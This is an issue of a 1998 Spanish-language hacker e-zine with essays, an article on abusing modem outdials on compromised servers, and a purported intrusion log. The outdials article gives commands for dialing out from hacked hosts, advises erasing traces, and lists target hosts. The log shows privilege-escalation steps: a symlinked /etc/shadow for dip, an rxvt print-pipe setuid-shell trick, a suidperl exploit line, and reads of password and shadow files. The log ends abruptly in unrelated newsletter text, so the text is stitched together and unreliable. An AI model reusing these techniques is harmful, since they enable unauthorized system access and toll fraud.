ÉÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ» ³ ÚÄÄÄÄÄÄ¿ ³ ³ ³ÛÛÛÛÛÛ³ ³ ³ ÚÄÄÄÄÄÄ´ÛÛÚÄÄÄÙ ³ ³ ÚÄÄÄÄÄÄ´ÛÛÛÛÛÛ³ÛÛÀÄ¿ ³ ³ ³ÛÛÛÛÛÛÃÄ¿ÛÛÚÄ´ÛÛÛÛ³ ³ ³ ÀÄ¿ÛÛÚÄÁ¿³ÛÛ³J³ÛÛÚÄÙ ³ ³ ÚÄÄ¿³ÛÛ³ÛÛÀÙÛÛ³J³ÛÛ³ ³ ³ ³ÛÛÀÙÛÛ³ÛÛÛÛÛÛ³FÃÄÄÙ ³ ³ ³ÛÛÛÛÛÛÃÄÄÄÄÄÄÁÄÙ ³ ³ ÀÄÄÄÄÄÄÙ ³ ³ H A C K E R S T E A M ³ ³ J O U R N A L ³ ÌÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĹ ³ VOL. #1, N§3, 1998. ³ ÈÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄļ "LA CAMINATA MAS LARGA ES EL PRIMER PASO" probervio hindu. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Nota: - J.J.F. / HACKERS TEAM - no se hace responsable del mal uso de la informacion aqui expuesta y tampoco tiene que estar de acuerdo con lo que sus colaboradores opinen. Tampoco esperamos que la gente use la informacion aqui expuesta para hacer da¤o ya que tan solo es con fines didacticos. Recomendado el uso del editor del MS-DOS. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= #CURRENT MEMBERS : - CONDE VAMPIRO - CODER H/P/V EDITOR - MAC CRACK BISHOP - CODER C WEBMASTER #WEB OFICIAL : - http://www.angelfire.com/mi/JJFHackers - http://jjfhackers.home.ml.org #E-MAIL OFICIAL : - jjf_team@usa.net <=============== NUEVO !!!!! #DISTRIBUIDORES OFICIALES DEL E-ZINE: - http://wakanda.islatortuga.com - http://underhack.islatortuga.com #COLABORADORES CON ESTE NUMERO : - Koji - Nobody - Cesar - Bisho - Enif (Oioio) - Daemon #SALUDOS: - Metalslug (Wakanda) - Schoddy Guy (Underhack) <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> - INDICE. TITULO AUTOR ÄÄÄÄÄÄÄÄÄÄÄÄ\_______________________________/ÄÄÄÄÄÄÄÄÄÄÄÄ * EDITORIAL ................................ J.J.F. / HACKERS TEAM * MIEDO A LOS ARTICULOS: NO, GRACIAS ....... CONDE VAMPIRO. * QUE ES UN HACKER Y QUE ES UN CRACKER ..... BISHO. * LOS OUTDIALS EN INTERNET ................. NOBODY. * UN LOG DE UN SERVIDOR .................... ANONIMO. * CURSO DE HACK III ........................ CONDE VAMPIRO. * USO DE SAMBA EN LINUX/UNIX COMO SUSTITUTO DEL NBTSTAT .................... ENIF. * ESTADISTICA DE LOS HACKERS EN 1997 ....... J.J.F. / HACKERS TEAM * DOCUMENTO SOBRE LOS PERMISOS DE ARCHIVOS Y DIRECTORIOS PARA SISTEMAS UNIX ......... KOJI. * INTRODUCCION AL HACKING v2.0 I ........... DAEMON. * EL LECTOR OPINA .......................... VARIOS. * NOTICIAS UNDERGROUND ..................... J.J.F. / HACKERS TEAM <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ------------- ³ EDITORIAL ³ ------------- Bueno esto parece que funciona ya que estamos en el tercer numero, y nosotros contentisimos de ello. Ya que cada vez la gente nos apoya mas y ademas contamos con mas distribuidores oficiales, como Underhack, tambien como ya dijimos seguimos con Wakanda. Poco a poco vamos avanzando en este dificil mundo del hack, sobre todo para bien, que es lo mejor del caso ;-) Hemos creado una nueva seccion en el e-zine llamada EL LECTOR OPINA en la cual se iran poniendo los mail's en los cuales nos haceis preguntas, asi las podemos contestar aqui en el e-zine y ademas todos podeis ver las respuestas y asi aprendemos todos ;-) por lo que ya NO contestaremos a los mail's que nos envieis, solo teneis que ser pacientes y esperar la salida del e-zine que se intenta que sea con la mayor rapidez posible. thx a todos! La verdad es que poco a poco vamos mejorando nuestro e-zine, no solo en maquetacion sino tambien en la calidad de los articulos que vosotros nos enviais!!! pero no solo mejora nuestro/vuestro e-zine sino tambien nuestro web, en el cual siempre podreis encontrar lo que necesitais y sino lo pides y veremos que podemos hacer. Que decir de la ya conocida seccion TEAM donde encontraras documentacion y programas propios de - J.J.F. / HACKERS TEAM - que NO encontraras en ningun otro web. Ademas todas nuestras secciones ya estan abiertas donde escontrareis de todo :) Damos las gracias a todos los lectores que nos envian mail diciendo como le gusta nuestro web o el ezine, esto nos alegra mucho y ademas lo hacemos con mucho gusto para que por fin encontreis algo para disfrutarlo de verdad. Por supuesto, no vamos a subirnos a los laures y seguiremos trabajando duramente el web y el e-zine. Sobre las felicitaciones que estamos recibiendo nos sorpendre mucho que los mail's vengan del otro lado del charco pero nos alegra que nos lean con tanta fidelidad desde alli, por eso desde aqui saludamos a todos nuestros lectores hispanos de Las Americas. Tambien agradecer la favorable opinion de SET (SET n§ 13) en la cual apoyan este e-zine, aunque se han olvidado de mencionar que nosotros tambien les tenemos puesto un link ;-) Hay que decir que el mundo del hack hispano esta siendo cada vez mas numeroso y ya cada vez hay mas web's (pero ya se sabe que la mitad de web's dejan mucho que desear, sin animo de ofender :). Pero no todo son alegrias ya que quedan muchos campos todavia por mejorar, que decir de las news de hack hispanas... Realmente pesimas y parece mas bien de intercambio de programas que de hack, una verdadera lastima pero en fin, esperamos que se arregle pronto la situacion del panorama actual o por lo menos nosotros pensamos contribuir a ello de alguna forma. Como ya hemos manifestado varias veces, estamos esperando a que nos envies un articulo tuyo, ademas no solo hay que enviar articulos puedes enviar todo lo que consideres interesante para este e-zine, como por ejemplo algun hacking que hayas cometido (por supuesto con el maximo anonimato, ningun dato sera revelado por parte nuestra ;-), o alguna noticia sobre el underground, o quieres anunciar algun proyecto, etc... Por supuesto tambien queremos que nos escribas para decirnos que piensas del e-zine, del web, etc... Al igual que si tienes cualquier propuesta, sugerencia, critica o solo nos quieres saludar, adelante, escribemos a: jjf_team@usa.net ATENCION : Como veis hemos cambiado la direccion de mail, la antigua la de hotmail todavia seguira funcionando pero solo durante un tiempo, esto lo hacemos para que os de tiempo a cambiarlo. Nuestro nuevo mail es el de arriba :) Tambien deciros que nuestros mail's personales tambien han cambiado y son de la siguente manera: conde_vampiro@usa.net mac_crac@usa.net Ahora que todo esta aclarado, que empieze la diversion ;-) - J.J.F. / HACKERS TEAM - <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ > MIEDO A LOS ARTICULOS: NO, GRACIAS < \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Este articulo no tiene que ver con el hack directamente, es una reflexion de porque hay que escribir un articulo en cualquier e-zine. Esto viene a raiz de cuando estas hablando con alquien (principalmente en el irc), primero te cuenta que tal y tal..., que acaba de hackear un server, tal y tal..., tu piensas "joer, que tio" y le dices, "porque no escribes un articulo y lo envias a algun e-zine", pero te dice todo asustado: si no me veo capaz, tal y tal... Por eso aqui os dire una serie de puntos por los cuales hay que escribir un articulo. Hay van: 1 - Para escribir sobre alguna cosa tenemos que buscar info y leer mucho, con esto aprenderemos y avanzaremos en nuestros conocimientos. 2 - Si traducimos textos en ingles, mejoraremos nuestro ingles, algo necesario en nuestros dias. 3 - Escribiendo articulos ayudaras a los e-zines para que sigan mejorando. 4 - Poco a poco, cuando la gente vaya leyendo tus articulos, sabran de tu existencia y te iras abriendo paso en el underground. 5 - Puedes pensar que tu articulo sera muy basico pero siempre hay alguien por debajo que no lo sabra. 6 - No hay articulos malos, sino poco trabajados :) 7 - Cuando la gente vea tus trabajos, te pediran consejo e incluso ofertas de entrar en algun grupo de hack. 8 - La proliferacion de articulos en nuestra lengua, refleja el estado del underground hispano. 9 - Siempre hay sobre algo que escribir, ya sea algo nuevo o mejorar uno ya escrito. 10 - Tendras algo que contar a tus amigos, novia!! y sobre todo, a tus nietos ;-) Bueno, pues estos son los 10 puntos por lo que hay que contribuir en la mejora del underground hispano. Pues ya sabes a ESCRIBIR :)) CONDE VAMPIRO - J.J.F. / HACKERS TEAM - <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> /--------------------------------\ ------------------------------------ Hasta ahora ha habido muchos articulos (sobre todo en internet) sobre la diferencia entre hackers y crackers. En estos articulos, los autores han tratado de hacer entender quien es cada cosa para que no haya malinterpretaciones sobre los dos terminos. Durante mucho tiempo, la opinion publica ha confundido estos terminos, llamandonos "piratas informaticos" por ejemplo y cosas por el estilo, desde luego que yo tambien se que es mas facil generalizar que enterarte realmente de lo que es cada cosa, y lo peor es confundir el termino hacker con cracker, como muchos medios han echo. Por eso la opinion publica trata de hacker a alguien que ROMPE dentro de un sistema. Totalmente confundido, y ademas es un insulto para muchos hackers y con mucho talento para el dificil arte del hack! Hay gran cantidad de textos que intentan definir estos terminos. Por eso he seleccionado los que creo que son mas acertados. Bien por eso vamos a intentar "definir" los terminos: _Hacker: Es una persona REALMENTE interesada en los lados mas reconditos y oscuros de un SO de cualquier ordenador. La mayoria o muchos de ellos son programadores. Por eso los hackers tienen un conocimiento MUY avanzado en cuanto a programacion se refiere. Conocen muchos de los agujeros de los SO, y lo mas importante, conocen el POR QUE de esos agujeros. Los hackers estan buscando informacion continuamente, y la hacen publica cuando la encuentran, y NUNCA estropean datos del ordenador intencionadamente. _Cracker: Es una persona que ROMPE dentro de un sistema o viola la integridad del sistema a traves de sistemas remotos con, digamos, ideas maliciosas. Los crackers ganan acceso sin autorizacion, destruyen o roban datos importantes, incluso vitales, o simplemente causan problemas a su "blanco". Los crackers pueden ser facilmente identificados por sus actos maliciosos. Bueno, espero haberte aclarado un poco, aunque supongo que estareis pensando... ya claro, pero un hacker entra tambien a un sistema, cual es la diferencia?, Bien, vamos a ponerlo en plan metafora: Tenemos una casa, no? bien, pues que haria un hacker?, sencillo, llegaria a la casa, daria la vuelta alrededor de la misma, y entraria por la puerta de atras, despues daria una vuelta por la casa, miraria, y se marcharia, por el contrario, el cracker, tiraria una piedra contra la ventana, entraria y te "limpiaria" la casa de arriba a abajo. La diferencia? tu nunca sabrias que el hacker entro en tu casa pero SI sabras que el cracker estuvo. Pues bien, tu ordenador, terminal o servidor, es TU CASA. Despues de esto vamos a repasar unos cuantos nombres que todos o la mayoria ya los conocemos y seguro que mas de uno se va a llevar una sorpresa (incluso yo). Los Hackers: _Richard Stallman: Se unio al Laboratorio de inteligencia artificial de la MIT en el 71. Le dieron el premio McArthur por su desarrollo de software. Despues fundo la Free Software Foundation, creando aplicaciones y programas gratis. _Dennis Ritchie, Ken Thomson y Brian Kerrighan: Programadores de los laboratorios Bell. Fueron los que desarrollaron el UNIX y el C. Por ejemplo sin estos programadores posiblemente no existiera internet. Ahora Ritchie, sigue trabajando en los laboratorios Bell desarrollando el llamada Plan9, que se supone que sera un nuevo super-sistema operativo que le quitara el trono al UNIX. _Paul Baram, Rand Corporation: Posiblemente el mayor hacker de la historia. Ya hackeaba internet antes de que existiera. El fue quien introdujo el concepto de Hacker. _Eugene Spafford: Profesor de informatica. Colaboro para crear el Computer Oracle Password Security System (COPS) un sistema de seguridad semi-automatico. Hombre muy respetado en el campo de la seguridad. _Dan Farmer: Trabajo con Spafford en la creacion de COPS (1991) y al mismo tiempo con el famoso Computer Emergency Response Team (CERT). Tiempo mas tarde Farmer gano gran notoriedad al crear el System Administrator Tool for Analyzing Networks (SATAN). Una gran herramienta para analizar vulnerabilidades en redes. _Wietse Vehema: Vehema viene de la Universidad de Tecnologia de Eindhoven, en los Paises Bajos. Un gran programador, con un don para ello, ademas de tener un amplio historial en programas sobre seguridad. Es el co-autor del SATAN con Farmer. Vehema escribio el TCP Wrapper, uno de los programas de seguridad mas usado en el mundo. _Linus Torvalds: Un individuo extraordinario, Torvalds empezo a conocer el UNIX y a tomar clases de programacion en C sobre los 90. Un a¤o despues empezo a escribir un SO parecido al UNIX. Despues de otro a¤o, lo colgo en internet, es el llamado LINUX. Ahora mismo el LINUX es un culto entre programadores, por ser el unico SO programado por gente q seguramente ni se conoceran en toda su vida. Adenas el LINUX no tiene el fastidioso copyright, es gratis y libre. _Bill Gates y Paul Allen: En sus tiempos de instituto, estos dos hombres de Washington se dedicaban a hackear software. Grandes programadores. Empezaron en los 80 y han creado el mayor imperio de software de todo el mundo. Sus "exitos" incluyen el SO MS-DOS, Windows, Windows 95 y Windows NT. Los Crackers: _Kevin Mitnick: Mas conocido como "Condor", probablemente el cracker mas conocido del mundo. Mitnick empezo su "carrera" como phreaker, desde entonces, mitnick ha crackeado todo tipo de seguridad imaginable, incluyendo lugares militares, corporaciones financieras, firmas de software y compa¤ias telefonicas. Por ejemplo, siendo todavia un adolescente, crackeo la North American Aerospace Defense Command. Ahora mismo esta esperando una sentencia judicial por sus ataques cometidos entre 1994 y 95. _Kevin Poulsen: Siguio el mismo camino que Mitnick, pero es mas conocido por su habilidad para controlar el sistema telefonico de Pacific Bell. Incluso llego a "ganar" un Porsche en un concurso radiofonico, si su llamada fuera la 102, y asi fue. Poulsen tambien crackeo todo tipo de sitios, pero el se decantaba por los que contenian material de defensa nacional. Esto fue lo que le llevo a su estancia en la carcel, 5 a¤os, le soltaron en el 96, supuestamente "reformado" :-). Que dicho sea de paso, es el mayor tiempo de estancia en la carcel que ha comparecido un hacker en la carcel; _Justin Tanner Peterson: Mas conocido como Agent Steal. Peterson crackeaba las agencias de credito, es decir, le iba mas el dinero que la curiosidad. Esta falta de personalidad le llevo a su caida y a la de otros, por ejemplo cuando le pillaron, Peterson descubrio a todos sus amigos, incluyendo a Kevin Poulsen. Despues obtuvo un trato con el FBI para trabajar de clandestino. Esto le facilito su salida de la carcel y "no?" pudo ser demostrado un fraude mediante una trasferencia de dinero :-). Bueno, despues de todo esto, espero que os haya quedado un poco mas claro de que o quien es cada cosa, y a lo mejor te he ayudado a identificarte a ti tambien, quien sabe... Hala! hasta otra :-). Saludos a : - J.J.F. / HACKERS TEAM -, Wakanda y Underhack. #hackers, #seguridad_informatica Nobody, Fragel, Folixia, Metalslug y a todos los demas. Er Bisho <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> 07-12-1997. ?????? ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²² ÉÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ»²² ³ LOS OUTDIALS EN INTERNET ³²² ³ ³²² ³ by NOBODY ³²² ÈÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄļ Nota del Autor: No me hago responsable del mal uso del la informacion aqui expuesta, ya que es para fines didacticos y no espero que abuses de ello. Los outdials son sistemas informaticos que nos permitiran conectar con BBS de otros paises, que esten cerca de casa o donde nos de la gana. Tambien los podemos usar para conectar a otras redes. Principalmente se usan para conectar a BBS extranjeras. Para conectar a un outdial lo que hacemos es buscar por internet un servidor que nos permita salir y asi llamar a donde queramos sin gastar nuestro dinero en llamadas internacionales :). Un ejemplo grafico de como seria esto es: SERVIDOR Ä INTERNET Ä SINGAPUR ³X³ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>³S³ Ä Ä Ä HACKER ÀÄÄÄÄÄÄÄÄ>³B³ ESPA¥A LLAMADA Ä BBS INTERNACIONAL ALEMANIA Como podeis ver hemos conectado desde nuestro ordenador en Espa¤a a un servidor el cual se encuentra en Singapur por internet pero luego hemos usado uno de sus modems para hacer una llamada externa y salir de internet para conectar con una BBS en Alemnia, con la que tendriamos que pagar un ri¤on si quisiesemos conectar con la BBS. Generalmente encontrar estos servidores es dificil, hay varias listas (abajo os pondre una). Ademas muchas veces estos outdial estan configurados para que solo permitan llamadas locales. Los buenos outdial son conocidos por GOD (Global OutDials) ya que permiten realizar llamadas a donde se quiera pero no son frecuentes ademas suelen cerrar rapido debido a su uso. Cuando querramos usar un outdial, pues lo que hacemos es conectar mediante telnet a un servidor que tenga outdial y generalmente para realizar la conexion escribimos ATDT XXXXXXXXX, donde X es el numero al que queremos conectar. Puede que el outdial al que conectemos no funcione asi por lo que tendremos que averiguar como funciona. Si hackeamos un servidor por inet podemos intentar averiguar si podemos hacer outdial. Supongamos que estamos dentro de un servidor pues buscamos el fichero L-devices, que se encuentra en el directorio /usr/lib/uucp, si no esta este fichero en este lugar lo tendremos que buscar, para ello escribimos: "find / -name L-devices -print". Cuando ya hemos encontrado el fichero en cuestion lo editamos: "cat L-devices", si este fichero es muy grande y no cabe en la pantalla escribe:"cat L-devices | more". Cuando el fichero este editado, nos mostrara la informacion relacionada con los modems, entonces escogemos una terninal (ttynn, nn sera el numero) y su velocidad (Baudios). Y ya podemos conectar donde queramos :) Como he dicho antes si no encontramos el fichero L-devices de ninguna forma tendremos que hacerlo de otro modo. Escribimos:"who am i", nos dara informacion de nosotros mismos, entonces miramos en que terminal estamos conectados. Si estamos conectados mediante un modem al servidor y estamos en la tty07, seguramente los que estan cerca nuestra tambien sean modems, como por ejemplo el tty06 o el tty08. OUTDIAL ÄÄÄÄijÄÄÄÄÄÄijÄÄÄÄÄÄijÄÄÄÄÄijÄÄÄÄÄÄ / \ / \ / \ / \ ³ ³ ³ ³ MODEMS ³ ³ ³ ³ ³ ³ ³ ³ tty05 tty06 tty07 tty08 HACKER Ahora tendremos que conectar directamente con el modem y esto lo haremos asi:"cu -sbaudios -l/dev/ttynn dir". Donde en "baudios" y "ttynn" podremos la informacion que hallamos obtenido del proceso anterior. Si todo ha salido bien nos tendria que haver salido el mensaje de "Connected". Ahora nos encontramos hablando directamente con el modem, en este punto conviene salvar la configuracion escribiendo:"AT&W". Si cuando escribimos no aparece lo que escribimos no pasa nada ya que seguramente esta activado el echo off. Entonces ahora escribimos:"AT&F" para restaurar la configuracion predeterminada. Ya solo nos queda configurar el modem para nuestros propositos y usarlo tranquilamente. Cuando hallamos terminado, escribimos:"ATZ" y para volver a poner la configuracion antigua:"~.". Con esto nos tendria que haver salido el mensaje de "Disconnected" y estaremos otra vez en el shell. Logicamente esto es ilegal y conviene tomar medidas para protegerse, como por ejemplo usar varios nodos antes de llegar a conectar al outdial. Tambien podemos borrar nuestras huellas en el servidor. Aqui os pongo una lista de outdial que podemos intentar usar, pero es un poco antigua por lo que conviene buscar alguna lista mas reciente, pero nunca se sabe :) 129.219.17.3 login: MODEM atdt 8xxx-xxxx dialout.lcs.mit.edu dialout24.cac.washington.edu ublan.acc.virginia.edu c hayes 129.82.100.64 login: modem modem.uwyo.edu 129.119.131.11x (x = 1 to 4) emory.edu .modem8 or .dialout pacx.utcs.utoronto.ca modem atdt 9xxx-xxxx 128.249.27.154 c modem96 atdt 9xxx-xxxx 128.249.27.153 " -+ as above +- " 130.191.4.70 atdt 8xxx-xxxx 132.204.2.11 externe#9 9xxx-xxxx uknet.uky.edu outdial2400 atdt 9xxx-xxxx gate.cis.pitt.edu LAT connect dialout Pues esto es todo y espero que os halla gustado y tened cuidado con lo que haceis. Si tienes una lista actualizada enviala al mail de JJF para que se publique. Y desde aqui saludar a toda la pe¤a de #hackers, #hack, #rejoin & #seguridad_informatica !!!!!! Grupos como - J.J.F. / HACKERS TEAM - , CYBERHACK, WAKANDA, UNDERHACK, @pOkalypSYS y todos los demas !! Y por supuesto : Bisho, Folixia, Fragel, Ipgh0st, Metalslug, Dillet, Riddle, Hadden, Guybrush, Tdp, Virux, Cy, Angelipas, Schoddy Guy, Xus, Enif, Bit-Quake, L.A., Nadia, Amanda, Case_zero y todos los que me dejo :) NOBODY (c) 1997. <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Ú-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ----- ³ UN LOG DE UN SERVIDOR ³ ----ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ù Este fichero log fue enviado anonimamente a un mailing list de hackers y hemos pensado que os podia ser interesante y por eso lo hemos incluido. Se dice que este log fue una entrada a un server por la famosa Carolyn P. Meinel. una de las grandes mujeres hacker's. Famosa tambien por su mailing list sobre hack y por supuesto las ya conocidas "GUIDE TO (mostly) HARMLESS HACKING". Nota de - J.J.F. / HACKERS TEAM -: Logicamente no podemos verificar la autenticidad de este log pero de todas formas es muy interesante y prodeis aprender algo de el. Pensamos que tampoco tiene ninguna complicacion por lo que no se explicara, asi que os dejamos que trabajeis esa mente, que para algo esta!! TAMBIEN DECIR QUE NOSOTROS NO SABEMOS NADA SOBRE EL HACKEO DE ESTE SERVER Y NO ESTAMOS RELACIONADOS DE NINGUNA FORMA.!!!!!!!!!!!!! ------------ Comienzo del log ------------------------------------------------ cd usr/bin pwd cd .. ls who cd .. ls cd bin cd convfont ls ls c* pwd cd .. ls cd usr ls cd bin cd convfont ls ls con* ls co* cd .. ls cd X11R6 cd bin ls ls -l cd .. cd .. cd .. ls ln -s /etc/shadow /tmp/dummy.dip cd etc ls cd shadow ls sha* /sbin/dip -v /tmp/dummy.dip ln -s /etc.shadow /tmp/dummy.dip cd du* cd tmp cd etc/tmp ls cd tmp cd .. ls cd tmp ls du* ls -l ls du* -l cat dummy.dip cc stuff.c ls man cc who make stuff.c cc stuff.c cat stuff.c ls rm stuff.c whoami cat < /dev/tty1 dip -t cd .. cd .. ls cd etc cdbin cd bin ls cd .. ls cd dev ls dir di* cd .. ls cd bin ls di* cd .. dip dip su +username su -- -username ls who echo 'cp /bin/sh /tmp/rxsh:chmod 4755 /tmp/rxsh' > /tmp/rxbug chmod +x /tmp/rxbug rxvt -print-pipe /tmp/rxbug rxvt cd usr/X11R6/bin cd .. ls cd .. ls cd usr ls cd X11R6 ls cd bin ls cd .. cd .. pwd who mail from mail from: nogo@nogood.com quit cd .. cd .. ls cd etc ls cat passwd su su ihu su mail ? who ps cat etc/passwd cd .. cd .. ls cd etc cat passwd ln /etc/passwd /var/tmp/dead.letter ln /etc/passwd /var/tmp/dea1d.letter mail from: non@non.com cat /etc/passwd cd /var/tmp/ ls rm dea1d.letter cat dead.letter ls -l cat id* ftp ftp -n localhost who ps ps -la #/usr/bin/suidperl -U >=0; $<=0; $<=0; >=0; $<=0; exec("bin/sh:); ls ls who cat /etc/passwd export RESOLV_HOST_CONF= cat /etc/shadow cd /var/log ls cat messages ls -l who bash makefile ls run makefile make all make *.c mkd m mk m man mdk man md man mkd man make make -f makefile cat makefile ls ma* cd .. ls cd cmeinel ls make -f makefile ls m* cd .. pwd ls cd cmeinel cat makefile ls make -f MAKEFILE ls make all make -f MAKEFILE all ls cat getpass.o cat getpass.c ls telnet cd /tmp ls dir li* cd.. cd .. ls cd usr ls cd .. cd .. ls cd etc ls cd .. ls cd home cd cmeinel ls rm getpass.c rm getpass.o rm OPENLOG.C rm MAKEFILE ls dir ls -l w ls -l /bin pwd nslookup finger root@shellonly.com ls -l telnet tin wheris tin whereis tin who finger root users who tin finger @shellonly.com netstat quit exit tin tin -r tin -r news.lobo.net who talk campress man tin kill man tin fg man tin jobs kill 1 ps man tin ps kill 23287 ps quit exit i pine ls ls w ls -F more "=0" ls -l more binmail.sh ls more ed.hup ^ more ed.hup more /var/spool/mail/cmeinel ls ls balu rm -rf balu finger w ls cd .. ls ls -l cd ftp ls cd pub ls cd .. ls cd incoming ls cd .. cd usr ls cd bin ls cd ..cd .. cd .. cd.. cd .. ls w exit tin -r tin -r news.lobo.net tin news.lobo.net -r elm pine telnet space.honeywell.com passwd tin tin -r news.lobo.net pine exit who talk .The Internet weather report No, we're not talking climate-type weather here on earth as reported via the Internet. We're talking bitwise weather. Storms in the aether. The ebb and flow, the squalls and bottlenecks on the largest Net back- bone carriers. The folks at ClearInk [25], a California "E-vertising" agency, offer the indispensible Internet Weather Report [26]: a quick- loading tabular summary, updated every 15 minutes, of packet loss and "ping" round-trip times from their location to 15 nationwide carriers. At this moment AGIS is losing 8% of the packets ClearInk sends them. Why? Perhaps it's due to the hackings, flames, and vandalism [27] dir- ected against this ISP, the only remaining safe haven for "spam king" Sanford Wallace's Cyber Promotions. (For more on CyberPromo, visit TBTF Threads [28] and follow one of the two spam topics.) [25] [26] [27] [28] finger 